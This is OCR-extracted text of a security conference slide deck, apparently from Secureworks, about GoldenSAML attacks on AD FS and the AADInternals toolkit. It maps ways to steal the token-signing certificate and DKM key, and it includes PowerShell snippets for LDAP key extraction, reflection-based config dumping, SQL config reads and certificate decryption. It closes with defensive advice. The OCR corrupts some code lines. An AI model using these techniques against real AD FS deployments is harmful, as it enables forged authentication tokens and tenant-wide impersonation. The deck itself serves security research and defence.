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AADInternals

Admin & hacking toolkit for Azure AD & Microsoft 365

Open source:

https://github.com/gerenios/aadinternals

https://0365blog.com/aadinternals/

MITRE ATT&CK
https://attack.mitre.org/software/S0677/

Groups That Use This Software

Name References

APT29 .
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Contents

Introduction
ldentity Federation
Golden SAML
AD FS

AD FS attack graph
Protecting against GoldenSAML attacks
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ldentity federation concepts

Service Provider (SP)

Azure AD dp %
|dentity Provider (I1dP)

On-prem AD FS SAML token > \/

Security Token (ST) User
Security Assertion Markup Language (SAML)
Signed by IdP, trusted by SP
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Two authentication flows
SP initiated IdP initiated

User SP IdP User SP IdP

2 ¢ a ¢

Access Authenticate

> >

Redirect to IdP dentifv user
< . Jdentif yuser 1 NN

Authenticate :

u ) > Redirect to SP
é

<_l(1§rlt_lf_y_9§_61____.._________________> Access >

Redirect to SP
<

Access
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GoldenSAML attack

Abusing IdP initiated authentication flow using a forged
SAML token

Requires:
Token signing certificate with private key Our focus
Issuer uri (IdP “identifier” in Azure AD)

Target user immutableld (user identifier in on-prem AD)
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Oct 25: First AADInternals release?
Mar 21: ADFSDump and ADFSSpoof released*

GoldenSAML history

¢ Nov 16: First blog on abusing identity federation?!
Nov 21: “GoldenSAML” coined by CyberArk?

Aug 16: AADInternals w/ certificate export

Apr 27: Remote AD FS

| config dump®6
<C
O
e
@ @® @® @® R
O
2017 2018 2019 2020 n 2021
Nov 8: WhiskeySAML
- 7
1. https://0365blog.com/post/federation-vulnerability/ and Friends
2. https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-techniqgue-forges-
authentication-to-cloud-apps
3. https://0365blog.com/post/aadinternals/
4. https://troopers.de/troopersl19/agenda/fpxwmn/
5. https://0365blog.com/post/adfs/
6. https://www.mandiant.com/resources/abusing-replication-stealing-adfs-secrets-over-the-network
7. https://www.blackhat.com/eu-21/arsenal/schedule/#whiskeysaml-and-friends-25024 Secureworks
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Active Directory Federation Services (AD FS)

Microsoft’'s identity federation and access management service
Windows server feature
Custom “Claims Rule Language”

Supports:

WS-FED (SAML 1.1 token), SAML (SAML 2.0 token), OAuth
(JWT token)

Multiple authentication methods (FBA, Kerberos, NTLM,
CBA,..)
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High-level AD FS architecture

Load Balancer for
Proxies.

2-n Proxies.

Load Balancer for
AD FS servers.

2-n AD FS servers.
Domain joined.

|
Domain joined & \ Qi
connected devices.
Q\ g

LAN
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AD FS configuration options

Token signing and encryption certificates
Managed — default

Stored in configuration database, encrypted with DKM key
(stored in AD)

Ccustom

Stored In certificate store of each AD FS server (or HSM)

Configuration storage
Windows Internal Database (WID) — default

Microsoft SQL server
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AD FS attack graph
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AD FS attaCk graph | Export using MMC ]7

Custom

Certificate
type
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AD FS attack graph

> Exportusing MMC ——
/Ye\s
Priv key No : ( )
Custom >W >(L Export using tool ]7
Certificate
type
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Export certificates

MMC

Requires that private key is marked as exportable

Tools
AADInternals

Mimikatz
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AD FS attack graph

V

Export using MMC ——

Yes
Priv key \[o} ( >

Export using tool ———

H[ LDAP ]7

4

Custom 7 exportable?

Secureworks



Locating the key

=

File Action View Help

o 2T /8 XEd:= HEl 2PeET A

] Active Directory Users and Computers [SERVER.aadinternals.com] »

T8-2512057791-1134"])

MName

17ee2f86-T9ch-48ea-9d78-632d63dd5...
CryptoPolicy

Type Description
Contact

Contact

| Saved Queries

== aa_dmternals.c-:m EncryptThenMac

Builtin

| Computers
2| Domain Controllers
2| DomainPCs
3| DomainUsers
| ForeignSecurityPrincipals
| Keys
| LostAndFound
| Managed Service Accounts
| nestori.co
| Program Data
| Microsoft
w [ ADFS
| 6813eeb8-2130-4059-%e56-bc2ech1b0560
| 87f0e958-beBb-4c39-b463-ac94b5524bd2
dBbccbea-2175-468d-b8ec-bIbbclfe05ec
1208112-9ce3-4e39-Bd4c-a1cOclchaff
zoNne

elayInMinutes>1</StartupDelayInMinute
</RolloverS@Etings>
<DEmSeccin
‘ <Group B?fﬂeBEB—beB6—4c39—b469—a094b5924bd2kfﬁ
<ContainerMName>CN=ADFS</Containerfame>
ParentContainerin>CN=Microsoft,CN=Program Dat
<Preferredieplica i:nil="trues" />
i <Enabled>trune</Enabled:>
</DkmSettings>

General
Member Of

Attributes:

Organization
Atribute Editor

Telephones
Security

Attribute

cn
description
displayMame
distinguishedMame

employeslD
instanceType

name

objectCategory
objectClass
objectGUID

repl PropertyMetaData
street Address

uSMChanged
L4

CryptoPolicy
Encryot ThenMag

dSCorePropagationD. ..

51491383-d748-4163-9%250-9c 3c86ad 1fbd
=LryptoMolicy

24/01/2021 15.54 53 FLE Daylight Time; 24
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xd = (WRITE)

CryptoPolicy

CN=Person,CN=Schema CN=Configuration, [
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4806fafcb20a-45cHb4a-6e 224625 b
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2.16.8401101.341.22168401.101.3.42

2095006 v
>

17ee2f86-T9ch-43ea-9d78-632d63dd 3073 Properties

Address
Object

Organization
Attribute Editor

General
Member Of

Telephones
Security

Attributes:

s

Attribute
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dSCorePropagationD ...  24/01/2021 15.54 53 FLE Daylight Time; 24
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instanceType x4 = (WRITE)
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thumbnailPhoto wnSe-OvehedhseS)TeCuillosssessp |
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£
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Extracting DKM key using LDAP query

# Get DKM container info

fgroup = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings. Group

fcontainer = %Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Containerlame
fparent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentlontainerDn

$base = "LDAP://CN=%group,$container,$parent”

# The "displayMName" attribute of "CryptoPolicy" object refers to the value of the "1" attribute of

# the object containing the actual encryption Key in its "thumbnailphoto™ attribute.

fADSearch = [System.DirectoryServices.DirectorySearcher]: :new([System.DirectoryServices.DirectoryEntry]
$ADSearch.Filter = '(name=CryptoPolicy)’

$ADSearch.PropertiesToload.Clear()

$ADSearch.PropertiesToload.Add("displayName") | Out-Null

faduser = $ADSearch.FindOne()

$keyObjectGuid = $ADUser.Properties["displayName" ]

# Read the encryption key from AD objec
f$ADSearch.PropertiesToload.Clear()
$ADSearch.PropertiesToload.Add("thumbnailphoto™) Out-hNull
$ADSearch.Filter="(1=$key0ObjectGuid)"
faduser=%ADSearch.FindOne()
fkey=[byte[]]%aduser.Properties[ "thumbnailphoto”][@]
Write-Verbose "Key object guid: $keyObjectGuid”

::new($base))




AD FS attack graph
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DCSync

Extract the key by using Domain Controller Replication Service
(DRS)

Requires credentials of account with “Replicating Directory
Changes” permissions

Possible targets
Domain Admin

Azure AD Connect
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AD FS attack graph

> Export using MMC ~ ———
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NET reflection
NOBELIUM FoggyWeb!

Implemented to AADInternals v0.6.9 with Roberto Rodriquez
(@Cyb3rWard0q) from MSTIC R&D

1. https://www.microsoft.com/security/blog/2021/09/27/foqgyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/
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.NET reflection

# Reference: https://www.microsoft.com/security/blog/2021/09/27 /foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/

# Get the service using WMI to get location
fadfsService = Get-WmiObject -Query 'select * from win3Z2_service where name="adfssrv"]
$adfsDirectory = (get-item $adfsService.PathName).Directory.FullName

# Load Microsoft.IdentityServer.Service.dl]l
$adfsDI1 = [I0.File]::ReadAllBytes((Join-Path -Path $adfsDirectory -ChildPath 'Microsoft.Identi
$adfsAssembly = [Reflection.Assembly]::Load($adfsD11)
Remove-Variable "adfsDI1"

e, Service.dl1'))

# Load Microsoft.IdentityServer.dll
fmisDI11 = [10.File]::ReadAllBytes((Join-Path -Path fadfsDirectory -ChildPath 'Micros%
fmisAssembly = [Reflection.Assembly]::Load($misD11)
Remove-Variable "misDI1"

# Load serializer class
fserializer = SmisAssembly.GetType('Microsoft.IdentityServer.PolicyModel.Configuration.utility')

# Get type of Microsoft.IdentityServer.PolicyModel.Configuration.ServiceSettingsData using .NET Reflection
$servicesSettingsDataType = $misAssembly.GetType('Microsoft.IdentityServer.PolicyModel.Configuration.Servi

# Convert the configuration xml to object .NET Reflection
# public static T Deserialize<T>(string xmlData) where T : ContractObject
$configobject = Invoke-ReflectionMethod -TypeObject $serialider -Method "Deserialize" -GenericType 5 [ads eﬁ\N‘ﬁa e Ler:

# Get type of Microsoft.IdentityServer.Service.Configuration.AdministrationServiceState using .NET Reflection
fsrvstateType = $adfsAssembly.GetType('Microsoft.IdentityServer.Service.Configuration.AdministrationServiceState

Secureworks




.NET reflection

O
LY
try («“Jux
4 ¢co
{ . . . \ 02

# Use the configuration object
Invoke-ReflectionMethod -TypeObject $srvStateType -Method "UseGivenConfiguration"” -Pa3 eters @($configdbject)

1

catch

1
write-Error ("Could not load KDM key! Ox{0:x}: {1}" -f $_.Exception.InnerException.ErrorCode,$
return $null

1

# Get instance of Microsoft.IdentityServer.Service.Configuration.Administratio
fsrvState = Get-ReflectionField -TypeObject $srvStateType -FieldName "_state"

# Get instance of Microsoft.IdentityServer.CertificateManagement.DkmDataProtector
$dkm = Get-ReflectionField -TypeObject $srvStateType -ValueObject $srvState -FieldName "_certificateProte

# Get Instance of Microsoft.IdentityServer.Dkm.IDKM
$dkmIDKM = Get-ReflectionField -TypeObject $dkm.getType() -valueObject $dkm -FieldName "_dkm"

# Get the key by invoking EnumerateKeys
fkeys = Invoke-ReflectionMethod -TypeObject $dkmIDKM.GetType() -ValueObject $dkmIDKM -Method "Enumerd¥
fkey = Skeys[0].Keyvalue

Write-Verbose "Key object quid: $(Skeys[0].Guid)"

Secureworks




AD FS attack graph

Custom

Certificate
type

Managed

Config

A\

7 exportable?

Remote

Access?

Local

Access?
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Yes

Priv key

Method?

> Export using MMC

4

Export using tool

—> LDAP
— DCSync
> .NET reflection

%[ Access config DB

)

)
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Access config DB

Read configuration with SQL query

Connection string

Via WMI query

the database connection string

Get-WmiObject -Namespace root/ADFS -Class SecurityTokenService

$ADFS.ConfigurationDatabaseConnectionString

Microsoft.IdentityServer.Servicehost.exe.config.

'ort="443" tlsClientPort="49443"/>
240" />
="200" -Int ="5"/>
] "2000" minCongestionWindowSize="

.:]=”D

mwof
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Access config DB

# Read the configuration from the database

$SQLclient = new-object System.Data.SqlClient.SqlConnection -ArgumentList $conn
$SQLclient.Open()

$SQLcmd = $SQLclient.CreateCommand()

$SQLcmd.CommandText = "SELECT ServiceSettingsData from IdentityServerPolicy.ServiceSettings™
$SQLreader = $SQLcmd . ExecuteReader()

$SQLreader.Read() | Out-Null

$configuration = $SQLreader.GetTextReader(©).ReadToEnd()

$SQLreader.Dispose()

Secureworks



AD FS attack graph

> Export using MMC
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Priv key No

Custom

Certificate
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Local
H[ NET reflection }
> Access?
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.NET reflection

ServiceProperties object has a private
ServiceSettingsData property..

Microsoft AD FS Toolbox (smce 2018) 1

$settings = Get-AdfsPropertie

fsettingsType = ettings

fpropInfo = $settings ypE.EE_3*31:*_y{ ServiceSettingsData™, [System.Reflection.BindingFla; :Instance -bor [System.Reflection.BindingFlags]::NonPublic)
$internalsSettings = $propInfo.GetValu fnull)

return $internalsettin

1. https://qithub.com/microsoft/adfsToolbox/blob/master/serviceAccountModule/AdfsServiceAccountModule.psm1#L 222
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.NET reflection

# Reference: https://github.com/Microsgfty ¥x/blob/master/serviceA loc /Tests,/Tes = ount.ps1#1.199-L208

# Get configuration data object using =t lection
fadfsProperties = Get-AdfsProperties

f$confi ject Get-ReflectionProperty -TypeObject $adfsProperties.GetType() -valueO fadfsProperties -PropertyName "

# Get the service using WMI to get location i i
fadfsService = Get-WmiObject ery 'select * from win32_service where name="adfssrv"
$adfsDirectory = (get-item $adfsService.PathName).Directory.FullName

# Loqd P1crmrmft IdentityServer.dll Il
= [I0.File]:: ReadA]]EytESEEJDiH—Path -Path f$adfsDirectory -ChildPath 'Microsoft.IdentityServer.dll1'))
CASS y = [R:T1eLt1Dﬂ.A55emb1y]::L0ad[$mi5D11j
Remmve—Variab]e "misDl11"

# Load serializer class
serializer = SmisAssembly.GetType('Microsoft.IdentityServer.PolicyModel.Configuration.utility")

# Convert the configuration object to xml using .NET Reflection _
# public static string Serialize(Contractobject Dhj bool indent = false)
fconfiguration = Invoke-ReflectionMethod -TypeObject $serializer -Method "Serialize" -Parameters @(%$configObject,$false)

ServiceSettingsData”
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AD FS attack graph
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AD FS configuration storage options

WID (default)

ADFS2

A

&
<«

ServiceSettings

@

Store
ServiceSettings

ADFS1 (primary)%DFSB
Get ServiceSettings _

Secondary nodes SQL server
replicate configuration
from primary node
ADFS2 ADFS1 ADFS3

g @

Configuration
changes only via
primary node

Encrypted SOAP over http.
Kerberos authentication

SQL server

No primary/secondary roles.
Replication service still

active..
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Sync Config

Export AD FS configuration using AD FS replication service

Found on spring 2021 by me and Douglas Bienstock (@doughsec)

Requires credentials of account granted to access configuration
AD FS service account

Local administrator

Secureworks
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AD FS attack graph
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Decrypt certificates

Decryption secrets revealed at TROOPERS19 by Douglas
Bienstock (@doughsec) and Austin Baker (@BakedSec)*

# Get the Key Material - some are needed, some not.

# Values are Der encoded except cipher text and mac, so the first byte is tag and the second one size of the data.
$guid= $encPfxBytes[8..25] # 18 bytes

$KDF_oid= $encPfxBytes[26..36] # 11 bytes

$MAC_oid= $encPfxBytes[37..47] # 11 bytes

48..58] # 11 bytes

59..92] # 34 bytes

$iv= $encPfxBytes[93..110] # 18 bytes

$ciphertext = $encPfxBytes[115..%(%$encPfxBytes.Length-33)]

$cipherMAC = $encPfxBytes $($encPfxBytes Length-32)..%(%encPfxBytes.Length)]

$enc_oid= $encPfxBytes

$nonce= $encPfxBytes

[
[
[3
[
[
[
[
[

# Create the label
$label = $enc_oid + $MAC_oid

1. https://troopers.de/troopersl19/agenda/fpxwmn/ Secureworks
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Decrypt certificates

# Derive the decryption key using (almost) standard NIST SP 800-108. The last bit array should be the size of the key in bits, bu
# As the key size is only 16 bytes (128 bits), no need to loop.

$hmac = New-Object System.Security.Cryptography.HMACSHA256 -ArgumentlList @(,%key)

$hmacOutput = $hmac.ComputeHash( @(©xe0,0x00,0x00,0x01) + $label + @(©x08) + $nonce[2..33] + @(Ox00,0x00,0x00,0%x30) )
$decryptionkKey = $hmacOutput[e..15]

n

Write-Verbose " Decryption key: $(Convert-ByteArrayToHex -Bytes $decryptionKey)"
# Create a decryptor and decrypt

$Crypto = [System.Security.Cryptography.SymmetricAlgorithm]: :Create("AES")
$Crypto.Mode="CBC"

$Crypto.KeySize = 128

$Crypto.BlockSize = 128

$Crypto.Padding = "None"

$Crypto.Key = $decryptionkey

$Crypto.IV = $iv[2..17]

$decryptor = $Crypto.CreateDecryptor()

# Create a memory stream and write the cipher text to it through CryptoStream

$ms = New-Object System.IO.MemoryStream

$cs = New-Object System.Security.Cryptography.CryptoStream($ms,$decryptor, [System.Security.Cryptography.CryptoStreamMode]: ::Write)

$cs.Write($ciphertext,®,$ciphertext.Count)
$cs.Close()

$cs.Dispose()




AD FS attack graph
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Protecting against GoldenSAML attacks

Treat all AD FS servers as Tier-0!
Configure Azure AD to reject federated |IdP MFA's?!

AD FS managed certificates:
Block port 80 (http) from all except AD FS servers & proxies

Treat also SQL server as Tier-0!

Custom certificates:
Block port 80 (http) from all except AD FS proxies
Use HSM

1. https://docs.microsoft.com/en-us/windows-server/identitv/ad-fs/deplovment/best-practices-securinq-adég@}@%kg
protection-to-prevent-by-passing-of-cloud-azure-ad-multi-factor-authentication-when-federated-with-azure-ad



https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/best-practices-securing-ad-fs#enable-protection-to-prevent-by-passing-of-cloud-azure-ad-multi-factor-authentication-when-federated-with-azure-ad
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